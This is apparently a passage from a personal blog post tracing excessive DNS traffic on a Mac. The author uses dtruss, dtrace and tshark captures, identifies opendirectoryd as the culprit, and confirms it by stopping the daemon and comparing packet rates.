recvmsg(0x14, 0x7FFF6AFCB940, 0x0) = 48 0
fstat64(0x1, 0x7FFF6AFCA3E8, 0x7FFF6AFCA4AC) = 0 0
ioctl(0x1, 0x4004667A, 0x7FFF6AFCA484) = 0 0
write_nocancel(0x1, "Server:\t\t192.168.1xx.2\n\0", 0x17) = 23 0
write_nocancel(0x1, "Address:\t192.168.1xx.2#53\n\0", 0x1A) = 26 0
write_nocancel(0x1, "\n\0", 0x1) = 1 0
write_nocancel(0x1, "Non-authoritative answer:\n\0", 0x1A) = 26 0
write_nocancel(0x1, "Name:\twww.google.com\n\0", 0x15) = 21 0
write_nocancel(0x1, "Address: 197.80.128.24\n\0", 0x17) = 23 0
...
....
....
# Started a concurrent tshark capture session for a google.com lookup
$ tshark -r google.pcap -R "dns.qry.name==www.google.com" -V
Frame 61: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface 0
Interface id: 0
WTAP_ENCAP: 1
Arrival Time: Jan 21, 2013 21:57:30.182718000 SAST
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1358798250.182718000 seconds
[Time delta from previous captured frame: 0.078960000 seconds]
[Time delta from previous displayed frame: 0.000000000 seconds]
[Time since reference or first frame: 2.722339000 seconds]
Frame Number: 61
Frame Length: 74 bytes (592 bits)
Capture Length: 74 bytes (592 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: eth:ip:udp:dns]
Ethernet II, Src: Apple_xx:bb:cc (7c:d1:c3:xx:bb:cc), Dst: D-LinkIn_dd:ee:ff (c8:be:19:dd:ee:ff)
Destination: D-LinkIn_dd:ee:ff (c8:be:19:dd:ee:ff)
Address: D-LinkIn_dd:ee:ff (c8:be:19:dd:ee:ff)
.... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)
Source: Apple_xx:bb:cc (7c:d1:c3:xx:bb:cc)
Address: Apple_xx:bb:cc (7c:d1:c3:xx:bb:cc)
.... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)
Type: IP (0x0800)
Internet Protocol Version 4, Src: 192.168.1xx.101 (192.168.1xx.101), Dst: 192.168.1xx.2 (192.168.127.2)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..00 = Explicit Congestion Notification: Not-ECT (Not ECN-Capable Transport) (0x00)
Total Length: 60
Identification: 0x6ddb (28123)
Flags: 0x00
0... .... = Reserved bit: Not set
.0.. .... = Don't fragment: Not set
..0. .... = More fragments: Not set
Fragment offset: 0
Time to live: 64
Protocol: UDP (17)
Header checksum: 0x8d1d [correct]
[Good: True]
[Bad: False]
Source: 192.168.1xx.101 (192.168.1xx.101)
Destination: 192.168.1xx.2 (192.168.127.2)
User Datagram Protocol, Src Port: 60346 (60346), Dst Port: domain (53)
Source port: 60346 (60346)
Destination port: domain (53)
Length: 40
Checksum: 0xad30 [validation disabled]
[Good Checksum: False]
[Bad Checksum: False]
Domain Name System (query)
Transaction ID: 0x581d
Flags: 0x0100 Standard query
0... .... .... .... = Response: Message is a query
.000 0... .... .... = Opcode: Standard query (0)
.... ..0. .... .... = Truncated: Message is not truncated
.... ...1 .... .... = Recursion desired: Do query recursively
.... .... .0.. .... = Z: reserved (0)
.... .... ...0 .... = Non-authenticated data: Unacceptable
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 0
Queries
www.google.com: type A, class IN
Name: www.google.com
Type: A (Host address)
Class: IN (0x0001)
Frame 62: 90 bytes on wire (720 bits), 90 bytes captured (720 bits) on interface 0
Interface id: 0
WTAP_ENCAP: 1
Arrival Time: Jan 21, 2013 21:57:30.184381000 SAST
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1358798250.184381000 seconds
[Time delta from previous captured frame: 0.001663000 seconds]
[Time delta from previous displayed frame: 0.001663000 seconds]
[Time since reference or first frame: 2.724002000 seconds]
Frame Number: 62
Frame Length: 90 bytes (720 bits)
Capture Length: 90 bytes (720 bits)
[Frame is marked: False]
[Frame is ignored: False]
[Protocols in frame: eth:ip:udp:dns]
Ethernet II, Src: D-LinkIn_dd:ee:ff (c8:be:19:dd:ee:ff), Dst: Apple_xx:bb:cc (7c:d1:c3:xx:bb:cc)
Destination: Apple_xx:bb:cc (7c:d1:c3:xx:bb:cc)
Address: Apple_xx:bb:cc (7c:d1:c3:xx:bb:cc)
.... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)
Source: D-LinkIn_dd:ee:ff (c8:be:19:dd:ee:ff)
Address: D-LinkIn_dd:ee:ff (c8:be:19:dd:ee:ff)
.... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit: Individual address (unicast)
Type: IP (0x0800)
Internet Protocol Version 4, Src: 192.168.1xx.2 (192.168.127.2), Dst: 192.168.1xx.101 (192.168.1xx.101)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..00 = Explicit Congestion Notification: Not-ECT (Not ECN-Capable Transport) (0x00)
Total Length: 76
Identification: 0x0000 (0)
Flags: 0x02 (Don't Fragment)
0... .... = Reserved bit: Not set
.1.. .... = Don't fragment: Set
..0. .... = More fragments: Not set
Fragment offset: 0
Time to live: 64
Protocol: UDP (17)
Header checksum: 0xbae8 [correct]
[Good: True]
[Bad: False]
Source: 192.168.1xx.2 (192.168.127.2)
Destination: 192.168.1xx.101 (192.168.1xx.101)
User Datagram Protocol, Src Port: domain (53), Dst Port: 60346 (60346)
Source port: domain (53)
Destination port: 60346 (60346)
Length: 56
Checksum: 0x27fd [validation disabled]
[Good Checksum: False]
[Bad Checksum: False]
Domain Name System (response)
[Request In: 61]
[Time: 0.001663000 seconds]
Transaction ID: 0x581d
Flags: 0x8000 Standard query response, No error
1... .... .... .... = Response: Message is a response
.000 0... .... .... = Opcode: Standard query (0)
.... .0.. .... .... = Authoritative: Server is not an authority for domain
.... ..0. .... .... = Truncated: Message is not truncated
.... ...0 .... .... = Recursion desired: Don't do query recursively
.... .... 0... .... = Recursion available: Server can't do recursive queries
.... .... .0.. .... = Z: reserved (0)
.... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
.... .... ...0 .... = Non-authenticated data: Unacceptable
.... .... .... 0000 = Reply code: No error (0)
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0
Queries
www.google.com: type A, class IN
Name: www.google.com
Type: A (Host address)
Class: IN (0x0001)
Answers
www.google.com: type A, class IN, addr 197.80.128.24
Name: www.google.com
Type: A (Host address)
Class: IN (0x0001)
Time to live: 2 minutes, 30 seconds
Data length: 4
Addr: 197.80.128.24 (197.80.128.24)
view raw gistfile1.txt hosted with ❤ by GitHub
The system call we are after is sendmsg and recvmsg (UDP send and udp recv). The exact packets sent and receiver are also unraveled in the packet tree below the dtruss output. The ardent reader will notice that the length of the UDP packet - 8 bytes == the syscall return output for sendmsg and recvmsg. For example, sendmsg has a return value of 32 bytes (40 UDP header - 2 bytes src port - 2 bytes dst port - 2 bytes length - 2bytes checksum). See line 32, 36, 101 and 172 of the gist above.

So we now know without a doubt that we ought to watch for a process that's generating a lot of recvmsg and sendmsg (At a rate of 10/sec for either syscall). Let's fire up another dtrace script
sh-3.2# date; syscallbypid.d; date
Sun Jan 20 22:42:47 SAST 2013
Tracing... Hit Ctrl-C to end.
^C
PID CMD SYSCALL COUNT
1 launchd fork 1
...
...
61275 dtrace workq_kernreturn 82
87 eTSrv stat64 86
1632 PKIMonitor stat64 86
13 opendirectoryd psynch_mutexdrop 87
13 opendirectoryd psynch_mutexwait 87
1621 Dropbox __sysctl 87
51682 firefox stat64 87
51682 firefox madvise 89
61052 dtrace kevent 90
61275 dtrace kevent 100
1632 PKIMonitor lseek 104
51682 firefox lseek 104
61276 SfntMonD stat64 105
61052 dtrace ioctl 117
61275 dtrace ioctl 121
87 eTSrv __semwait_signal 127
13 opendirectoryd sendto_nocancel 130
51682 firefox psynch_cvwait 131
13 opendirectoryd read_nocancel 132
13 opendirectoryd __sysctl 137
1 launchd getuid 139
52577 GoogleTalkPlugi psynch_cvwait 142
64 mds workq_kernreturn 160
64 mds kevent 165
13 opendirectoryd workq_kernreturn 189
13 opendirectoryd recvfrom_nocancel 198
12 mDNSResponder recvfrom 202
13 opendirectoryd close_nocancel 228
12 mDNSResponder bind 232
12 mDNSResponder socket 232
12 mDNSResponder sendto 248
51682 firefox mmap 258
87 eTSrv close 278
87 eTSrv read 278
12 mDNSResponder recvmsg 284
12 mDNSResponder close 296
1616 Flux geteuid 312
13 opendirectoryd kevent 343
655 Terminal __semwait_signal 355
87 eTSrv open 530
87 eTSrv lseek 556
1624 applet workq_kernreturn 788
12 mDNSResponder fcntl 824
1624 applet sigaltstack 1075
1624 applet sigprocmask 1075
1630 System Events sigaltstack 1075
1630 System Events sigprocmask 1075
1624 applet kevent 1128
12 mDNSResponder kevent 1137
12 mDNSResponder setsockopt 1276
117 WindowServer sigaltstack 1310
117 WindowServer sigprocmask 1310
Sun Jan 20 22:43:00 SAST 2013
# Total of 13 seconds. Looking for ~130 recvmesg or 130 sendmsg.
# This looks suspicious
13 opendirectoryd sendto_nocancel 130
51682 firefox psynch_cvwait 131
13 opendirectoryd read_nocancel 132
# More dtruss
sh-3.2# dtruss -p 13 -e -a -d
PID/THRD RELATIVE ELAPSD CPU SYSCALL(args) = return
13/0x3c0f3: 39029 161 2 kevent(0xE, 0x0, 0x0) = 1 0
13/0x3c0f3: 39034 6 2 recvfrom_nocancel(0xD, 0x105CBA150, 0x1C) = 28 0
13/0x3c0f3: 39039 3 1 recvfrom_nocancel(0xD, 0x7F845304DF80, 0x3E) = 62 0
13/0x3c0f3: 39044 6 3 select_nocancel(0xE, 0x105CBA180, 0x0) = 1 0
13/0x3c0f3: 39047 4 2 kevent(0x7, 0x105CB9C50, 0x1) = 0 0
13/0x3c0f3: 39050 3 1 recvfrom_nocancel(0xD, 0x105CBA150, 0x1C) = 28 0
13/0x3c0f3: 39052 3 1 recvfrom_nocancel(0xD, 0x7F845304DF80, 0x3E) = 62 0
13/0x3c0f3: 39054 3 1 select_nocancel(0xE, 0x105CBA180, 0x0) = 0 0
13/0x3c0f3: 39055 2 0 kevent(0xE, 0x105CB9C50, 0x1) = 0 0
13/0x3c0f3: 39059 5 2 psynch_mutexdrop(0x7FFF72990920, 0x4F1CC03, 0x4F1CB00) = 0 0
13/0x3c0f3: 39063 4 1 kevent(0xE, 0x0, 0x0) = 1 0
13/0x3c088: 89565 43 6 psynch_mutexwait(0x7FFF72990920, 0x4F1D003, 0x4F1CE00) = 82956291 0
13/0x3c088: 89572 8 4 sendto_nocancel(0xD, 0x7F8453045250, 0x1C) = 28 0
13/0x3c088: 89578 6 2 sendto_nocancel(0xD, 0x7F8453045250, 0x1C) = 28 0
13/0x3c088: 89585 10 5 close_nocancel(0x7) = 0 0
13/0x3c088: 89595 11 7 open_nocancel("/etc/hosts\0", 0x0, 0x1B6) = 7 0
13/0x3c088: 89598 5 1 fstat64(0x7, 0x1058E6218, 0x1058E62DC) = 0 0
13/0x3c088: 89602 6 2 read_nocancel(0x7, "##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1 localhost \nfe80::1%lo0\tlocalhost\n\0", 0x1000) = 236 0
13/0x3c088: 89632 17 13 __sysctl(0x1058E72A0, 0x6, 0x0) = 0 0
13/0x3c088: 89641 10 7 __sysctl(0x1058E72A0, 0x6, 0x7F8453803600) = 0 0
13/0x3c088: 89648 5 1 read_nocancel(0x7, "\0", 0x1000) = 0 0
13/0x3c088: 89654 8 4 close_nocancel(0x7) = 0 0
13/0x3c088: 89663 11 7 open_nocancel("/etc/hosts\0", 0x0, 0x1B6) = 14 0
13/0x3c088: 89666 5 1 psynch_mutexwait(0x7FFF727AC1E0, 0x6A4C403, 0x6A4C200) = 111461379 0
13/0x3c088: 89667 4 0 psynch_mutexdrop(0x7FFF727AC1E0, 0x6A4C503, 0x6A4C400) = 0 0
13/0x3c088: 89670 5 2 fstat64(0xE, 0x1058E6218, 0x1058E62DC) = 0 0
13/0x3c0f3: 39370 507641 17 kevent(0x7, 0x0, 0x0) = 1 0
13/0x3c0f3: 39383 18 7 kevent(0x7, 0x0, 0x0) = 1 0
13/0x3c0f3: 39395 11 7 recvfrom_nocancel(0xD, 0x105CBA150, 0x1C) = 28 0
13/0x3c0f3: 39403 7 3 recvfrom_nocancel(0xD, 0x7F845304DF80, 0x3E) = 62 0
13/0x3c0f3: 39413 10 5 select_nocancel(0xE, 0x105CBA180, 0x0) = 1 0
13/0x3c0f3: 39421 9 3 kevent(0x7, 0x105CB9C50, 0x1) = 0 0
13/0x3c0f3: 39434 13 6 recvfrom_nocancel(0xD, 0x105CBA150, 0x1C) = 28 0
13/0x3c0f3: 39440 8 3 recvfrom_nocancel(0xD, 0x7F845304DF80, 0x3E) = 62 0
13/0x3c0f3: 39446 8 4 select_nocancel(0xE, 0x105CBA180, 0x0) = 0 0
13/0x3c0f3: 39451 4 2 kevent(0xE, 0x105CB9C50, 0x1) = 0 0
13/0x3c0f3: 39458 7 4 psynch_mutexdrop(0x7FFF72990920, 0x4F1D403, 0x4F1D300) = 0 0
13/0x3c0f3: 39463 7 3 kevent(0x7, 0x0, 0x0) = 1 0
13/0x3c088: 89680 21 8 read_nocancel(0xE, "##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1 localhost \nfe80::1%lo0\tlocalhost\n\0", 0x1000) = 236 0
# Some analysis yields 15 recvs and 18 sends in ~ 1.5 seconds. Looks like we are getting somewhere.
$ grep 0x3c0f3 dns | grep recv | sort -k 2 |wc -l
15
$ grep 0x3c0f3 dns | grep recv | sort -k 2
13/0x3c0f3: 39528 11 6 recvfrom_nocancel(0xD, 0x105CBA150, 0x1C) = 28 0
13/0x3c0f3: 39535 6 3 recvfrom_nocancel(0xD, 0x7F845304DF80, 0x3E) = 62 0
13/0x3c0f3: 39549 4 1 recvfrom_nocancel(0xD, 0x105CBA150, 0x1C) = 28 0
13/0x3c0f3: 39552 4 1 recvfrom_nocancel(0xD, 0x7F845304DF80, 0x3E) = 62 0
13/0x3c0f3: 39911 10 4 recvfrom_nocancel(0xF, 0x105CBA140, 0x4) = 4 0
13/0x3c0f3: 40088 12 7 recvfrom_nocancel(0xD, 0x105CBA150, 0x1C) = 28 0
13/0x3c0f3: 40095 7 3 recvfrom_nocancel(0xD, 0x7F8451683690, 0x3E) = 62 0
13/0x3c0f3: 40113 5 2 recvfrom_nocancel(0xD, 0x105CBA150, 0x1C) = 28 0
13/0x3c0f3: 40116 5 1 recvfrom_nocancel(0xD, 0x7F8451683690, 0x3E) = 62 0
13/0x3c0f3: 40391 90 10 recvfrom_nocancel(0x7, 0x105CBA140, 0x4) = 4 0
13/0x3c0f3: 40460 210 5 recvfrom_nocancel(0x7, 0x105CBA140, 0x4) = 4 0
13/0x3c0f3: 40875 131 8 recvfrom_nocancel(0xF, 0x105CBA140, 0x4) = 4 0
13/0x3c0f3: 40938 26 4 recvfrom_nocancel(0xF, 0x105CBA140, 0x4) = 4 0
13/0x3c0f3: 40991 15 9 recvfrom_nocancel(0xD, 0x105CBA150, 0x1C) = 28 0
13/0x3c0f3: 41000 8 3 recvfrom_nocancel(0xD, 0x7F8451683690, 0x3E) = 62 0
$ grep 0x3c0f3 dns | grep send | sort -k 2 | wc -l
18
$ grep 0x3c0f3 dns | grep send | sort -k 2
13/0x3c0f3: 39589 17 11 sendto_nocancel(0xD, 0x7F8453045250, 0x1C) = 28 0
13/0x3c0f3: 39597 9 4 sendto_nocancel(0xD, 0x7F8453045250, 0x1C) = 28 0
13/0x3c0f3: 39895 13 8 sendto_nocancel(0xD, 0x7F84515772B0, 0x44) = 68 0
13/0x3c0f3: 39902 10 6 sendmsg_nocancel(0xD, 0x105CBA0F0, 0x0) = 1 0
13/0x3c0f3: 39966 7 4 sendto_nocancel(0xD, 0x7F84515772B0, 0x44) = 68 0
13/0x3c0f3: 39969 6 2 sendmsg_nocancel(0xD, 0x105CBA0F0, 0x0) = 1 0
13/0x3c0f3: 40160 18 12 sendto_nocancel(0xD, 0x7F8451697970, 0x1C) = 28 0
13/0x3c0f3: 40168 7 3 sendto_nocancel(0xD, 0x7F8451697970, 0x1C) = 28 0
13/0x3c0f3: 40373 7 4 sendto_nocancel(0xD, 0x7F8451646A10, 0x44) = 68 0
13/0x3c0f3: 40379 8 4 sendmsg_nocancel(0xD, 0x105CBA0F0, 0x0) = 1 0
13/0x3c0f3: 40448 7 4 sendto_nocancel(0xD, 0x7F8451646A10, 0x44) = 68 0
13/0x3c0f3: 40452 6 3 sendmsg_nocancel(0xD, 0x105CBA0F0, 0x0) = 1 0
13/0x3c0f3: 40623 20 13 sendto_nocancel(0xD, 0x7F8453045250, 0x1C) = 28 0
13/0x3c0f3: 40631 10 4 sendto_nocancel(0xD, 0x7F8453045250, 0x1C) = 28 0
13/0x3c0f3: 40858 10 5 sendto_nocancel(0xD, 0x7F84515777B0, 0x44) = 68 0
13/0x3c0f3: 40865 10 5 sendmsg_nocancel(0xD, 0x105CBA0F0, 0x0) = 1 0
13/0x3c0f3: 40928 7 4 sendto_nocancel(0xD, 0x7F8451646A10, 0x44) = 68 0
13/0x3c0f3: 40931 5 2 sendmsg_nocancel(0xD, 0x105CBA0F0, 0x0) = 1 0
view raw gistfile1.txt hosted with ❤ by GitHub

Fini


So let's try and validate our findings by stopping the buggy process.
# Process
sh-3.2# ps aux | grep " [1]3\W"
root 13 0.0 0.3 2497244 13416 ?? Rs Thu08PM 1:52.96 /usr/libexec/opendirectoryd
# What file thinks
sh-3.2# file /usr/libexec/opendirectoryd
/usr/libexec/opendirectoryd: Mach-O universal binary with 2 architectures
/usr/libexec/opendirectoryd (for architecture x86_64): Mach-O 64-bit executable x86_64
/usr/libexec/opendirectoryd (for architecture i386): Mach-O executable i386
# Manuals
sh-3.2# man -k opendirectory
dsexport(1) - export records from OpenDirectory
odproxyd(8) - OpenDirectory proxy daemon
odutil(1) - allows caller to examine or change state of opendirectoryd(8)
opendirectoryd(8) - is a launchd(8) job for client access to local or remote directory systems
pam_opendirectory(8) - OpenDirectory PAM module
# Validation
sh-3.2# launchctl list |grep opend
13 - com.apple.opendirectoryd
sh-3.2# tshark -i en1 -c 100 -s0 -w traffic.pcap
Capturing on en1
100
3 packets dropped
sh-3.2# launchctl stop com.apple.opendirectoryd
sh-3.2# tshark -i en1 -c 100 -s0 -w traffic1.pcap
Capturing on en1
100
# Comparing the pcaps
# With opendirectoryd running
sh-3.2# tshark -r traffic.pcap -R "dns" |wc -l
100
sh-3.2# tshark -r traffic.pcap -R "dns" | awk 'BEGIN{start_time=end_time=0} { if(start_time == 0) start_time=$2; end_time=$2; } END{print "Time in seconds to capture 100 packets: " end_time - start_time}'
Time in seconds to capture 100 packets: 3.58054
# With opendirectoryd stopped.
sh-3.2# tshark -r traffic1.pcap -R "dns" |wc -l
31
sh-3.2# tshark -r traffic1.pcap -R "dns" | awk 'BEGIN{start_time=end_time=0} { if(start_time == 0) start_time=$2; end_time=$2; } END{print "Time in seconds to capture 100 packets: " end_time - start_time}'
Time in seconds to capture 100 packets: 23.101
view raw gistfile1.txt hosted with ❤ by GitHub
Phew! And that's it! A sample of 100 packets has 100 DNS requests when opendirectoryd is running. The 100 packets are captured in 3.5 seconds. With opendirectoryd stopped, it takes 23 seconds to capture 100 packets; DNS constitutes 30% of the sample. It's obvious that something is wrong with opendirectoryd. Stopping the process will save me tons of bucks until Apple issues a fix.